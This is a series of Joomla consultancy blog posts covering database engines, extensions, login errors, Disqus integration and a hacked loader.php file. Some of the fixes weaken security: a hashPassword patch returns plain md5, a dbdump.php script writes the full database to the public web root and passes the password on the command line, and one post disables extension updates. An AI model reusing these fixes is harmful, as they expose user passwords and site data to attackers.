  • They install some or all of the extensions they have on the old website (many actually skip this step).

  • They point the fresh Joomla install to the database of the old Joomla website.

  • They then start noticing issues on their new Joomla website, including, but not limited to, missing/broken pages, and missing/broken functionality.

In short, once they do the above (point the new Joomla website to the old database), their website ends up in a worse state than it was before. But why is that?

Well, unlike popular believe, Joomla’s database and filesystem are not independent of each other. In fact, they work together in harmony to ensure that the website runs smoothly. Each database is unique to the filesystem (unless, of course, the filesystem is an exact replica of another filesystem), those who think differently risk building a Frankenstein Joomla website, and we all know what happens to a Frankenstein…

So, what is the right way of doing things?

Well, the right way to do things is obvious: Either fix the problem(s) on the old website or re-create the website from scratch by importing the data, and not by pointing the new Joomla website to the old database. If things were that easy then anyone would be doing this to fix his Joomla website. Oh, and by the way, when you have a Joomla website which has some issues, then, there is more than 90% chance that these issues are because of a corrupt database. So, doing the above will definitely not fix the problems that you originally had, and will definitely create more problems.

But what about following this strategy for hacked websites?

Many Joomla administrators believe that when their website is hacked, then there’s no way to have it completely cleaned, and that the virus will still lurk somewhere despite all the cleanup work. That’s why they prefer to go with the fresh install strategy. Well, first, there is a way to cleanup a website completely and to secure it (we do this all the time), and second, as stated above, following this strategy may well result in a corrupt website. It’s like jumping from the frying pan into the fire.

If you are a victim of following the above strategy (pointing a new Joomla website to an old database), then fear not. Just contact us and we’ll fix your old website (or your new one, but fixing the older is usually simpler) quickly, cleanly, and for a very reasonable fee.

A Joomla Module to Display a SlideBox on Page End

At itoctopus, we love to share our Joomla work with our readers. We think that by doing this we do our part to ensure that Joomla remains at the helm when it comes to CMS solutions. Why do we do that, you might be wondering? Well, because we believe, and rightly so, that Joomla’s success is directly proportional to our success!

Today, we are offering our readers, for free, a module that displays a slidebox of a new article when the person reaches the end of the current article he’s reading. We call this module the “PageEnd Slidebox”. (Not to be confused with the “Page End Slidebox” module available on the JED. That one is commercial and is not developed by us.)

The module can be downloaded here.

Quick notes:

  • The module is very simple to use. Just install it and assign it to the menu item of your choice (which normally should be a category blog), and it’ll do the rest.
  • The module should be assigned to a module position that is immediately below the content position. That module position shouldn’t have any formatting (e.g., it shouldn’t be rounded, xhtml, etc…).

  • The module does not alter any content prior to display. It simply adds a div tag at the beginning of its display position (which should be, again, immediately below the content) to know when to display the slidebox.

  • The CSS of the slidebox is controlled by the CSS file mod_pageend_slidebox.css in the css folder. If you want to change the colors of the slidebox, you should do it there.

  • The Fresh item is retrieved the following way:

    • We get the latest 5 articles from the same category of the currently displayed article (of course, we make sure that it’s not the same article that is being displayed).
    • We then get a random article from these 5 articles.

    • We display that article in the slidebox.

    If you wish to change that behavior, then you can do that. The logic is done in the default.php file located under the tmpl folder. (Note: The module can be easily adapted to work in K2.)

  • The module has no hidden links or hidden code anywhere. We really condemn these practices and have never used it and we will never use it.

  • The module is made for Joomla 2.5, but technically it should be compatible with Joomla 3.x. We haven’t tried it on Joomla 3.x though.

  • The module is extremely light. It shouldn’t add even the slightest pressure on the busiest Joomla sites. It just has one simple query to the database.

  • The module uses the jQuery JavaScript library and directly includes it from Google’s own site. We have tested this module on many Joomla sites and we didn’t have any conflict between jQuery and MooTools (another JavaScript library) on any site.

  • The module is completely free. You don’t have to pay us a penny for using it. We just hope you like it!

  • Credit is given where credit is due: We have used this resource to build our Joomla module.

We hope that you find this module useful and that it will increase your visitors’ engagement. If you need help installing/customizing it, then please contact us. We are always available for help, our work is ultra-professional, and our rates are super affordable.

On Leveraging the Power of K2’s Extra Items

If you’re an avid reader of our blog, you will probably know that we love K2 – no – make that we’re in love with K2. It just makes our lives much easier and happier: we can extend it, we can easily migrate from one version of K2 to another, it doesn’t suffer from the performance issues that Joomla’s core content management suffer from, and it just has so many amazing built-in features! It also doesn’t use the #__assets table, which makes moving the K2 content from one website to another much easier. We did cover, in details, why K2 is better for content management than Joomla’s own core here.

Now, let’s move on to the actual point of this post…

This last weekend, we were commissioned to implement a solution for a company on its Joomla website. In short, the company needed to add content to its website related to healthcare. “Easy!”, you might be thinking! “They can just add Joomla articles!”. Well, there’s more to it – they actually needed to have additional fields and display those additional fields in different colors. “Still, it’s very easy”, you might say, “they can just add those fields to every article and give a different CSS style to each”. That can be done, but it wasn’t what they wanted. They didn’t want the people adding content to go through the hassle of explicitly specifying a CSS class for those many extra fields, since the people doing that work weren’t that technical and they were afraid of ending up with inconsistency issues when it comes to the look & feel. Additionally, they wanted to be able to hide/show these extra fields on demand (yes, it can be done through CSS, but it wouldn’t look good to the search engines if a substantial portion of the page is hidden using display: none).

Thankfully, K2’s Extra Items came to the rescue. If you don’t know what those Extra Items are, let us explain: Extra Items are, in short, K2’s own way to allow you to add additional fields to the form in the backend, and to display those fields on the frontend. For example, in our project, we added the following fields to the Medicine K2 category:

  • Category: Which is a drop down of different categories of available medicine.
  • Available since: A date field (self-explanatory).

  • FDAA approved on: A date field (also self-explanatory).

As you can see, those additional fields make it much easier to add the necessary information about a medicine, to display it differently on the frontend, and to export it to a different system should the need arise. We were able to finish the whole job in 5 days (we finished on Wednesday), other companies have quoted 2 months (and more) for the very same job (as we were told by the IT Manager). Yes – it might take 2 months if you want to develop those forms from scratch, but, since we have leveraged the power of K2’s Extra Items, we finished the job in just 5 days!

But are they perfect?

Well, nothing is perfect, and that includes (or excludes? This is probably a very advanced question for Grammar Scientists…) K2’s Extra Items. Here’s why:

  • The fact that you need to assign them to only one Extra Item Group and then assign that group to a category can lead to redundancy issues. So, if you want 3 different extra items from 3 different groups for a category you will need to re-create the items, and then re-create another Extra Item Group, and then assign that group to the category.
  • You can’t add a description for the Extra Fields. Not really the end of the world, but for those who are entering the data, it can be quite annoying before they get used to the system and memorize what each field is about.

  • The associated data is stored in a json encoded format in the database, which means that you will need to decode those values, prior to using them, using the json_decode. This, of course, is not an issue when displaying those extra fields on the website. But, if you want to search by Extra Fields, it can be a bit hard and performance may not be that great. This can be a major issue if the search functionality is critical to your website (then again, there’s a solution for anything Joomla, at least at itoctopus!).

If you intend on using K2’s Extra Items on your website and you’re a bit hesitant, then don’t! We can’t recommend them highly enough. And, if you need help using them to implement a solution, then please give us a call or shoot us an email. We’re always available, we’re very hard workers, we produce high-quality code, and our rates are among the most affordable in our industry!

Your Joomla Website Is Crashing Constantly? Switch from MyISAM to InnoDB

Note: This post only applies to Joomla websites using MySQL.

Another note: This post only applies to Joomla 2.5 and lower. Joomla 3.x uses the InnoDB engine across the board by default.

The majority of crashes on Joomla websites are caused by database issues, in particular, database corruption issues. For example, if the table #__session is corrupt (and needs repair), then the whole website will crash, and, unfortunately, that table does crash a lot on large websites.

Now, the question is, why do database crashes happen?

Database crashes happen when the application (such as Joomla) is trying to write to the database, but something unexpected happens, such as temporary loss of network connection between the database server and the application, server hiccup, loss of power, etc… When this happens, and if you’re using MyISAM (which is the default table type in Joomla), then 1) the table will remain in a locked state until it’s repaired and/or 2) table corruption may happen. Any of the previous 2 issues can make your Joomla website inoperable until your repair the corrupt tables (by issuing the REPAIR query on those tables).

So, what’s the solution?

The solution is to use InnoDB instead of MyISAM as the table type for the heavily updated tables, namely the #__assets and the #__session table. InnoDB has a couple of serious advantages over MyISAM when it comes to stability, which are:

  1. Row locking instead of table locking on writes: When the Joomla website is inserting a row in the #_session table (or updating a row in that table, for that matter) and if that table is a MyISAM table, then the whole table is locked. Any requests to write to that table will be denied. On the other hand, if the table is an InnoDB table, then only the affected row will be locked, which means that concurrent writes to that table are possible as long as they are not affecting that particular row. This ensures that the table will never be left in a locked state if it’s InnoDB.
  2. ACID implementation: ACID stands for Atomicity, Consistency, Isolation, Durability, and this is what InnoDB tables are about: Atomicity means that any action that is done on an InnoDB table is atomic, which means that that action will be reverted if it’s not completely done. Atomicity ensures Consistency of that particular table (many references try to explain Consistency as something different, but we think that it’s just a corollary of Atomicity). Isolation means that we can have concurrent writes seamlessly, and Durability means that any sever crash will not cause corruption in the tables. Again, Durability is a corollary of the other InnoDB properties.

So, why does Joomla still use MyISAM?

Joomla still uses MyISAM by default because, ahemmm, MyISAM is lighter and faster (we know that many Database administrators will disapprove of this statement), not in all conditions, but in most conditions. According to our experience, under normal operations, reads and writes are both significantly faster on MyISAM tables. Additionally, MyISAM tables allow for full-text search indexing, which is not possible in InnoDB tables because of their structure.

And how can a table be changed from MyISAM to InnoDB?

You can change (alter) the table type from InnoDB to MyISAM by executing the following query:

ALTER TABLE [your-table] ENGINE=INNODB;

So, if you want to change the tables #__assets and #__session from MyISAM to InnoDB, then you will need to execute the following queries (while in phpMyAdmin):

ALTER TABLE #__assets ENGINE=INNODB;

and

ALTER TABLE #__session ENGINE=INNODB;

(Of course, you will need to replace #__ with your table prefix.)

We don’t think it’s a good idea to change all tables from MyISAM to InnoDB, because this will cause performance issues on your Joomla website.

If your Joomla website is crashing because of database issues, then try implementing the above table change. If you still experience the same issue, then please contact us. We’ll investigate the issue for you and we’ll definitely find and implement a solution (and we won’t charge you much!).

Joomla 3.2.1 Hacked? It Might Be the “loader.php” File

We are recently getting a barrage of Joomla 3.2.1 websites that are hacked and need to be fixed. Obviously, someone cashed in on the recently announced vulnerability on Joomla 3.2.1, and fast! We are saying someone (and not some people), because 90% of those hacked websites have the exact same hack: the Google hack! (Or so we like to call it!)

In short, the website will display different content for Google than the one displayed for the users, and that’s why it’s so hard to discover! Eventually, Joomla administrators discover that their websites were hacked because they lose their search engine rankings! Not the best way to discover that a website has been hacked!

So, how can this hack be fixed?

You might be wondering, how come we are insisting on the someone, even though that particular hack can be done in many, many ways? Well, because for all these websites, the hack was done the exact same way: some malicious code was inserted at the beginning of the loader.php file, which is located under the /libraries/ folder. Fixing the hack consisted of simply removing that malicious code (the malicious code is obvious, and it starts before the standard Joomla comments for any particular file).

Is there a way to check if a 3.2.1 Joomla website is hacked before Google knows about it?

Here’s our little secret. We have installed a FireFox extension (on all our machines) called the User Agent Switcher, which allows us to view a website the way it’s seen by Googlebot. If you install this extension on your FireFox browser, you’ll be able to see it the same way Google sees it. We suggest that you do install it, and that you check your website at least once a day with the user agent switched to Googlebot 2.1. This will allow you to quickly discover the problem and fix it before even Google notices it!

If your Joomla 3.2.1 website is hacked, then try the above fix. If it didn’t work for you, then please contact us. We’ll fix the problem for you in no time and for a very reasonable fee!

reCAPTCHA Not Working on Your Joomla Website? Read This!

We were commissioned, earlier this week, to integrate reCAPTCHA with JComments on a website belonging to a super-major news company.

Large companies usually have 2 environments, one called dev (for development), and one called prod (for production). Our job was to make the reCAPTCHA work on the development environment, and then, once everything’s OK, move the work to production.

The website was using Joomla 2.5, so all that we needed to do was to set the private and public key in Joomla’s Captcha – ReCaptcha plugin, and then add the necessary code to the right places in JComments (we will explain how we did this in a later post). The reCAPTCHA worked (after a lot of code-struggling) on the development environment: it was displaying properly and it was submitting properly. In other words, when the captcha was wrong, the comment was not saved and the user was requested to re-enter the captcha. When the captcha was correct, it was submitting properly. After the testing was done, we decided to move this to the production server. We thought that everything is going to work smoothly there, right? Wrong!

When the work was moved to production, we all assumed that everything will function as it should, and, at first glance, it did, since the captcha was being displayed properly. However, when we tried to save the comment, the form took forever to submit and eventually an error message told us that the captcha was wrong (even though it was correct). Also, even when the submission was wrong, the form took forever to submit (well, not really forever, but, in our business, 30 seconds is forever)!

After a lot of hair-pulling, nail-biting, and advil-swallowing, we narrowed down the problem to the following line in the file recaptcha.php which is located under the plugins/captcha/recaptcha folder:

while (!feof($fs))

$fs (in case you didn’t have time to read that file), is a socket handle open to the Google’s reCAPTCHA website. So, the problem was that the application was not able to read from that socket. We thought that the problem was related to the PHP instance on the production environment (we suspected that allow_url_fopen was set to No), but, to our surprise, the php.ini file on production was identical to that on development. We then thought that it might be something in the .htaccess file, but again, both .htaccess files were identical (dev and prod).

We then changed the plugin to use curl (instead of fsockopen) to connect to the reCAPTCHA server, and while this worked on the development server, it still didn’t work on the production server. At this point, we became sure that the problem had to do with the firewall.

So, we informed the networking team of the problem, and they discovered the cause: The development environment was bypassing the proxy, while the production environment was running behind the proxy. We did a quick research on the problem, and it turned out that Google knows about this and already has a solution. In short, the networking team had to whitelist some IPs (Google IPs) on the firewall, and they did, and that fixed the problem! Hurray!

If you have problems with reCAPTCHA on your Joomla website, then feel free to contact us. We will fix those problems for a very affordable fee and in no time!

“Allow User Registration” Should Be Set to “No” By Default on Joomla

We get constant calls from clients telling us that their Joomla websites were hacked, that they are seeing, in the User Manager, new and suspicious users every day, although they don’t have any registration form on their websites.

We first comfort them by telling them that their websites are most likely not hacked and what they’re experiencing is pure spam. We then tell them that they don’t have to have a registration form on their websites for spammers to spam their User Manager. In fact, spammers do not even use a registration form even if it exists, they have some tools to register automatically, provided Allow User Registration is set to “Yes”, which is the default. So, what is that Allow User Registration?

The Allow User Registration is a Joomla setting (you can see this field by logging in to the backend, and then going to Users -> User Manager, and then clicking on the Options button on the top right, and finally clicking on the Component tab), that, when set to “Yes” (which is the default), will permit users to register through the website. In other words, Joomla’s own core will allow user registration when the value of this setting is “Yes”. Clearly, if your User Manager is getting spammed, and you don’t need to have people register on your website, then the best thing that you should do is to set its value to “No”.

Now, the question is, why is the Allow User Registration defaulted to “Yes”? We’re not exactly sure. We think that the Joomla developers assume that by enabling user registration by default they make the life of Joomla administrators easier if they want people to register on their websites. Maybe that’s their logic, but, in this day and age, where spammers and hackers are always searching for a weak Joomla website to spam or to attack, we think it’s a wiser move to disable user registration by default, and those who need this feature can enable it at will.

There you go, that’s our opinion about this whole issue. If your Joomla’s user manager is getting spammed and you don’t need people to register on your website, then disable user registration by setting the value of Allow User Registration to “No”. If, however, you want people to register, and you are getting many spam registrations, then please contact us. We can definitely fix this issue for you and we won’t charge you much!

“Username and password do not match or you do not have an account yet” Error – Cause and Fix

Yesterday evening we had a very interesting call from a new client. The new client told us that when trying to login to the frontend of his Joomla website, he’s always greeted with the following error message:

“Username and password do not match or you do not have an account yet”

He told us that he just migrated his website from Joomla 1.5 to Joomla 2.5, and he’s not able to login with any of his frontend users, even after resetting their passwords from the backend.

So, we tested the website and indeed, were were not able to login to the frontend even after resetting the password from the backend. We disabled SEF, we disabled caching, we disabled all 3rd party plugins, yet we still had the same problem.

We then thought, what if we reset the password from phpMyAdmin? So, we logged in to to phpMyAdmin and set the password of a random user in the #__users table to the MD5 equivalent of “password”. We then tried to login, and, to our surprise, the login worked!

So we compared that user’s password to another password, and we noticed that all the other users (that were not able to login), had a strong password. A strong password is a password that starts with $P$. For some reason, strong passwords were not working, and the reset functionality, as well as the user creation functionality, were generating strong passwords.

So, what did we do to fix the problem?

The fix was extremely easy, all we needed to do was to ensure that any password generation/reset uses the MD5 encryption. Here’s what we did in order for that to happen:

  • We opened the file helper.php located under the libraries/joomla/user folder.
  • We added the following line to the beginning of the hashPassword function in the aforementioned file:

    return md5($password);

  • We re-uploaded the file to its corresponding place.

  • The problem was solved.

We didn’t have enough time to investigate why strong passwords were not working (and why only MD5 encrypted passwords were working), but we suspect this has something to do with a wrong migration of the users’ data, as well as the presence of some legacy files from the old Joomla website. We’re really not sure on this one.

What we know, however, is that our fix worked! In case you have the same problem, then try the above quick fix and see if it works for you. If it doesn’t, well, all you need to do is to contact us. We’ll fix it for you in as little time as possible and for a very affordable fee.

Login to Joomla Administrator Not Working and No Error Is Displayed – Part II

OK – this post is Part II because we have discussed the same exact issue before – however, the cause of the issue was different then. In fact, we knew there must be other reasons for this problem to happen, and, unfortunately, we were not disappointed…

Earlier today a lady who has an apparel website called us and told us that she’s not able to login to her Joomla website with her usual password. So we reset her password, and we tried to login, but it didn’t work, and we didn’t see any error. Immediately we thought that the cause for this problem was the same to the one we had before, and so we checked whether all the plugins related to the login activity were enabled, and they were. Odd!

So we thought, maybe some of the files related to the login were corrupted, and so we overwrote all the client’s core Joomla files with copies from a fresh installation (we ensured, of course, that we were using the same version of Joomla, and we backed up the website before doing this). This didn’t work either…

So, we started debugging the Joomla website at a lower level. We printed, in the index.php file (that is under the administrator folder), the $_POST variable. We did this by adding the following line to the beginning of that file:

print_r($_POST);

We then tried to login, and, to our surprise, the $_POST array was empty. This means that the fields filled in in the login form where not transferred to the page that Joomla was submitting to. That was extremely odd. We have been working with PHP since the late 90s and we have never seen this before (well, $_POST was called $HTTP_POST_VARS back then, but still). We thought it was a problem with the website’s server, but after doing a quick test (e.g. uploading a self-submitting HTML form to another web accessible location on the server and making sure that the $_POST array is not empty), we were sure that the problem only existed on the website itself.

So what could make a website’s environment different from the rest of the server?

According to our experience, there are two files that can override the server’s settings (in a LAMP environment) at the website level:

  1. The .htaccess file.
  2. A local php.ini file.

The website didn’t have a php.ini file, but it had a weird .htaccess file. Here’s how it looked like:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^ourclientjoomlawebsite [NC]
RewriteRule ^(.*)$ http://www.ourclientjoomlawebsite/$1 [L,R=301]

Options +FollowSymLinks
RewriteCond %{THE_REQUEST} ^.*/index.php
RewriteRule ^(.*)index.php$ http://www.ourclientjoomlawebsite/$1 [R=301,L]

## ERROR PAGES
##
ErrorDocument 404 /404.html

Hmmmmmm! That’s not what a Joomla .htaccess file should look like. So we overwrote the .htaccess with a fresh copy from a clean Joomla installation (same version), and the problem was solved! It was as easy as that!

It literally took us hours to solve this problem – we hope that those of you who are reading this post (and who have this problem – if you’re reading this post just for fun then we’re flattered, but maybe you should consider finding another hobby! ) can solve it in under a minute. If you can’t, then feel free to contact us and we will solve your problem. Our fees are extremely affordable, our work is professional, and we are super friendly!

Joomla and PHP’s Drop of the MySQL Extension

There’s been a lot of talk lately that PHP is dumping the mysql extension from its core, and how that move will impact major Content Management Systems such as Joomla, WordPres, and Drupal.

First, let us explain, briefly, what this is all about…

PHP, in its current incarnation, has several built-in extensions (or libraries) that it can use to talk to a MySQL database. These extensions include, but are not limited to: mysql (ext/mysql), mysqli (ext/mysqli), and pdo_mysql (ext/mysql_pdo). All these libraries do the job, but the mysql (ext/mysql) library is the least performing of the bunch, it is also very insecure. See, the problem with this library is that it was written ages ago in PHP 4 to support MySQL 3, so it inherited the limitations (and insecurity) of both. In this day and age, when there are very few servers running PHP 4, and even fewer running MySQL 3 (actually there shouldn’t be any server on this planet running MySQL 3, but you never know), the use of this library is no longer necessary (note that Joomla needs at least PHP 5 and MySQL 5 to work), in fact, it is discouraged, and that’s why PHP deprecated the mysql extension in its 5.5 version (by the way, when an extension is deprecated, it still works, but any use of any function belonging to that extension will throw a deprecated notice).

PHP intends to remove its support of the mysql legacy library (access to the MySQL database will still be supported by the other libraries, of course) in the next few years. Unfortunately, this is not an easy move, because this move means that any PHP function that starts with mysql_ will throw a fatal error. Naturally, this will cause many websites out there to stop working. In fact, every single WordPress website will cease to work because WordPress still uses that old extension.

But what about Joomla?

The Joomla team thankfully did the right thing with the early adoption of the mysqli extension. In fact, Joomla uses the mysqli extension, by default, for all MySQL activities. This means that Joomla’s core will not be affected at all by PHP’s move to remove the legacy extension (unless, of course, you have forced the use of the mysql extension by going to Site -> Global Configuration -> Server and changing the value of Database Type under Database Settings to mysql) . However, there are some Joomla extensions that either access the database directly or through their own database layer – such extensions may be using the old mysql library. If this is the case, then these extensions need to be modified to use the mysqli extension.

And what about WordPress?

It seems that WordPress will start supporting the mysqli extension in its 3.9 version, in conjunction with the the old mysql extension. It is not clear on whether WordPress will use the mysqli library by default in its installation, but at least this is a move in the right direction.

And how about Drupal?

Drupal is very similar to Joomla in that regards. It currently supports both extensions and defaults to the mysqli extension.

Is that PHP move really necessary?

Unfortunately – it is – for both PHP and MySQL… MySQL is forced to preserve some legacy code for that library (or extension) to work, and that legacy code is causing some serious overhead for MySQL’s developers. This is more or less the same for PHP, which has to maintain an extension that should no longer be used.

We hope that this post clarified the issue. If you have a Joomla extension that is using the mysql extension, then fear not, we can modify the extension to make it work with the mysqli extension. All you need to do is to contact us and we’ll fix it in no time and at a very low cost!

The #1 Reason Why Companies Switch from Joomla to Drupal

We had a phone call earlier this week from a client telling us that the IT department of his company wants to move the website from Joomla to Drupal. The client was actually the CFO of the company, and he was having a hard time understanding the real reason to switch the website to another CMS, when the current website works!

The client told us that the answer coming from his IT department was something like: “Drupal is more secure”, “Drupal is more stable”, “Drupal is faster”, “Drupal can handle large amount of traffic”, “Drupal is used by many Fortune 500 companies”, etc…

The client wanted our opinion. So we asked the client, “How many visitors do you have per day?” He told us that they have about 3,000 visitors, “And how many pages the website has?”, we continued, “Approximately 2,000 pages are indexed by Google, and we add a blog post every week”, he replied. “That’s not a lot”, we said, and it certainly doesn’t justify moving to Drupal for “performance reasons”. In any case, even if your Joomla website reaches a point where it can no longer handle the traffic, then you can optimize it…

“OK”, the client said, “but Drupal is more secure, no?”. “Definitely not”, we said, “The reason why Joomla seems less secure than Drupal is because Joomla is used by many small businesses because of its simplicity and friendly interface, and these small businesses can’t afford to always update their websites to the latest version, run security checks on their websites, and control the security of the environment that their websites run on, and that’s why their websites get eventually hacked”.

“How about stability?”, the client asked. “Joomla is very stable.”, we answered, “Instability issues in Joomla are, nearly always, caused by some 3rd party extensions. This problem exists in Drupal as well, and in any other CMS, for that matter. It’s just that a Drupal website requires a team of professionals to maintain, and those professionals tend to fix the bugs on the fly. Most Joomla websites, on the other hand, are managed and maintained by a single person, who is typically non-technical.”

“Then why is Drupal used by these Fortune 500 companies?”, the client continued. “Because the IT department in these Fortune 500 companies decided that. But bear in mind that there are some Fortune 500 companies that also use Joomla such a Citigroup and Intel (we serve Intel at itoctopus)”.

“So why does my IT department want to move us to Drupal?”, the client asked us while sounding frustrated.

We didn’t answer. What should we tell him? Should we tell him that the majority of IT decisions out there are made to ensure the continuity and the prosperity of the IT department, and not that of the company? Should we tell him that his IT department wants to go with Drupal because it’ll ensure that the business part of the company will become increasingly dependent on the IT department? Should we tell him that Joomla is much easier to use than Drupal, and such a move will make updating the website a task that should always be assigned to IT, regardless of the update? Should we tell him that this move will definitely increase the IT overhead on the company, since Drupal needs much more maintenance than Joomla and Drupal consultants are paid nearly the double of what Joomla consultants get (because of Drupal’s complexity)?

We didn’t know what to say, because we might be wrong, it might be that there’s a reason, a valid reason, why his IT department is doing this move. We just couldn’t figure it out, and that’s what we told our client, we said, “We don’t know, at least we hope that we don’t know.”

If your company is switching from Joomla to Drupal or from Drupal to Joomla and you need a sound technical advice, then feel free to contact us, we’re always there to help you make the right decision. Note that our super affordable fees apply.

A Small Script to Create a Database Dump for a Joomla Website

We get occasional requests from customers who don’t have access to a phpMyAdmin instance asking us to backup their whole database. Since we, at itoctopus, want to make the life of every Joomla website administrator easier, we are releasing the code for doing this, for free, for anyone to use! The code is below:

<?php
	ini_set('max_execution_time', 3600);
	require('configuration.php');
	$config = new JConfig();
	$dbFile = md5(microtime()).'.sql';
	exec('mysqldump --user='.$config->user.' --password='.$config->password.' --host='.$config->host.' '.$config->db.' > '.$_SERVER['DOCUMENT_ROOT'].'/'.$dbFile);
	echo('<a href=http://'.$_SERVER['SERVER_NAME'].'/'.$dbFile.' download>Download Database Export File</a>');
?>

All you need to do is to place the above code in a file called dbdump.php and put that file under the root directory of your Joomla site. Once you do that, just point your browser to http://yourjoomlawebsite.com/dbdump.php and you’ll be presented with a link to download the database backup (please note that it might take some time for the link to appear).

Note that the dbdump.php file must be under the root directory of your website and must be at the same level of the configuration.php file. If your configuration.php file is stored elsewhere, then you will need to hardcode the database settings into the script.

Now, here’s a little FAQ on this script:

  • Will it work on all databases?

    No – it won’t. It’ll only work on MySQL (which is the database powering over 90% of Joomla websites anyway), this is because it uses the MySQL tool called mysqldump. Other RDBMS’s have similar tools, although not as easy to use. Contact us if you’re using another RDBMS (such as Oracle, MySQL, or PostgreSQL) and we’ll create the export script for you.

  • Is it reliable?

    Yes – it is very reliable and you will be able to replicate your current database based on this export.

  • Will it take a long time to execute?

    That depends on the size of your database and your server’s horsepower. For small websites, it can take less than a second to finish. For very larges sites, it might take an hour or more (note that you will need to modify max_execution_time in the script to a higher value if your database is quite large).

  • Will it work on all Joomla versions?

    The script will work on Joomla versions 1.5.x, 1.6.x, 1.7.x, 2.5.x, and 3.2.x (3.5 is not yet released at the time of publishing this article). It will not work out of the box on Joomla 1.0, but it will work if you hardcode the database information in the script (e.g. replace $config->user with the actual user, etc…).

  • Will it work on Windows?

    We have not tested the script on Windows, but theoretically it should. If it doesn’t, then a small modification to the script should make it work.

  • Will it always work in a LAMP environment?

    On some servers it won’t. This is because the script uses the exec function, which is a dangerous function that is blocked on some servers. In case you’re wondering, if this function is blocked then it is typically blocked in the php.ini file (there’s a disable_functions variable there that is used to block dangerous PHP functions).

  • Will we help in case you need help?

    Definitely! That’s why we’re here for! All you need to do is to contact us! Please note that our extremely affordable fees apply.

Disable Update of Certain Extensions in Joomla

Note: Please read this post entirely before taking any action.

We occasionally get some developers calling us and asking us how to exclude extensions from showing up on the Extensions -> Extension Manager -> Update page. They usually tell us that the reason they want to do this is to prevent their clients from accidentally updating an extension that they have modified (in other words, they don’t want their clients to overwrite the work that they did for them on these extensions). So, we tell them that this can be done easily, here’s how:

  1. Login to phpMyAdmin and select the database that serves the website.
  2. Click on the table #__update_sites. Take note of the update_site_id value of all the extensions that you do not want to display on the Update page.

  3. Go to the table #__update_sites_extensions and delete all the rows that have an update_site_id matching the above.

  4. Now, go back to the #__update_sites table and delete all the rows of all the extensions that you do not want to update.

  5. Once that is done, you should login to the backend of the Joomla site and go to Extensions -> Extension Manager -> Update, and then click on Purge Cache on the top right.

An alternative way of hiding those extensions from the Update page is to substitute steps #3 and #4 in the above list with the following:

  • Go to the table #__update_sites and change the value of the field enabled to 0 for those extensions that you do not want to display on the Update page.

Note that the alternative method may or may not work for you, depending on your Joomla version, but it’s worth trying, because if it doesn’t, then you are going to delete these rows anyway.

But, isn’t that a bad thing to do? What if an update is actually a security update?

We agree that removing the update functionality for certain extensions is not best practice and can lead to security issues on the website, but, in some cases, such updates can create problems as described here, so they should be disabled. Additionally, and as discussed in the beginning of this post, a programmer can make some modifications to a 3rd party extension and an update can cause these modifications to be overwritten.

If you need help disabling the update of a problematic Joomla extension, then please contact us. We’ll solve the problem quickly for you and we won’t charge you much!

Disqus Displaying All the Comments on All the Pages on Joomla

This past Friday, we had a customer calling in and telling us that he just integrated Disqus (the famous commenting platform) on his Joomla website, but for some reason, every time someone makes a comment on one page, it appears on all the other pages. In other words, all the Disqus comments for that website were being displayed on all pages. That website is in the top 10,000 websites in the world so you can imagine how much frustration this issue was causing (for both our customer and the site’s visitors). Needless to say, the issue had to be fixed – and had to be fixed fast!

We looked at the website and we immediately located the problem, the problem was happening because the JavaScript Disqus variables were the same on every page: every article had those same JavaScript values on every page:

var disqus_url = 'http://ourclientwebsite.com';
var disqus_identifier = '1234567890';

Disqus is clear in its documentation that the above values must be different on every page for the comments to appear properly.

So, what did we do to solve the problem?

The first step towards solving the problem was knowing which plugin was responsible for generating the Disqus code, and it wasn’t really hard to find, it was the Disqus Comments for Joomla! by JoomlaWorks. The code responsible for generating the Disqus code was in the file jw_disqus /plugins/content/jw_disqus/ folder. So, we opened up that file, and we changed the following 2 lines:

var disqus_url = '".$output->itemURL."';
var disqus_identifier = '".substr(md5($disqusSubDomain), 0, 10)."_id".$row->id."';

to:

var disqus_url = '".JURI::current()."';
var disqus_identifier = '".substr(md5($disqusSubDomain), 0, 10)."_id".md5(JURI::current())."';

That fixed the problem, but, shortly after, we discovered that there was another problem! Because the site allowed for URL duplication (this means that a page can have multiple URLs), which can be regarded as a feature or as an issue (we think it’s the latter because of the SEO implications), the above code did not work properly, because it is displaying the comments per URL, and not per page (this is because we’re using JURI::current() as the disqus_url), so, if someone makes a comment on a page, then the comment will only display on the URL that it was made on, and not on all the URLs pointing to that page (yes, we know, this is very confusing). It was a serious problem and we needed to resolve it.

So, how did we address the URL duplication issue?

Luckily, every URL on the site had the ID of the article it was pointing to in its last part, so, all we needed to do was to extract the ID from the URL, and create a fake but unique URL for every page, such as, http://ourclientwebsite/12345, where 12345 is the ID of the article. In order to do that, we added the following code to the jw_disqus.php file (the content plugin) just after line 201 ($output->disqusIdentifier…):

$arrCurrentURL = explode('/', JURI::current());
$lastCurrentURL = (int)$arrCurrentURL[count($arrCurrentURL) - 1];
if (!empty($lastCurrentURL))
	$strCurrentURL = JURI::root().$lastCurrentURL;
else
	$strCurrentURL = JURI::current();
$strCurrentURLHash = substr(md5($disqusSubDomain), 0, 10)."_id".md5($strCurrentURL);

We then changed the Disqus URL and identifier lines to the following:

var disqus_url = '".$strCurrentURL."';
var disqus_identifier = '".$strCurrentURLHash."';

We uploaded the file back and the issue was resolved!

If you have a problem with Disqus integration on your website, then please contact us. We are always an email or a call away, we don’t charge much, and you can rest assured that we will solve your problem in no time!

All Modules Suddenly Appearing on All Pages on Joomla

We got a call yesterday (well, technically, this morning) around 1:30 AM after midnight, it was a new client telling us that his Joomla website is completely messed up. He told us that all the modules are displaying on all the pages. We checked his website and we saw the problem: all published modules were appearing on all the pages, making the whole website look extremely weird.

In all fairness, we have been working on Joomla websites for a decade or so, and we have never, ever seen this problem. We were sure it was a plugin that was causing this problem, but we just didn’t know which one. The client’s website was a Joomla 2.5 website.

We went through all the 3rd party plugins and we noticed that the last plugin installed was the Advanced Module Manager plugin. We disabled this plugin and boom, the website is completely fixed! We were amazed since NoNumber, the Dutch development company that created that plugin, is known for its reliable extensions. In fact, that particular extension has a 5 star rating on Joomla’s JED (The Joomla Extensions Directory), which is extremely rare. Apparently, there was a huge bug in that extension that caused this problem. This means that with 3rd party extensions, you’re never really 100% safe.

Here are a few tips to follow when installing a 3rd party extension (especially when doing the install on mission critical websites) assuming you don’t have a development environment (if you have a development environment you can just do the install there and then port it to production):

  • Make sure you have immediate access to a developer before installing the extension. (We’re always available for help!).
  • Make sure you backup your website before installing the extension.

  • Check if the extension throws any errors when it’s installed. If it does, then don’t use the extension and contact your developer immediately.

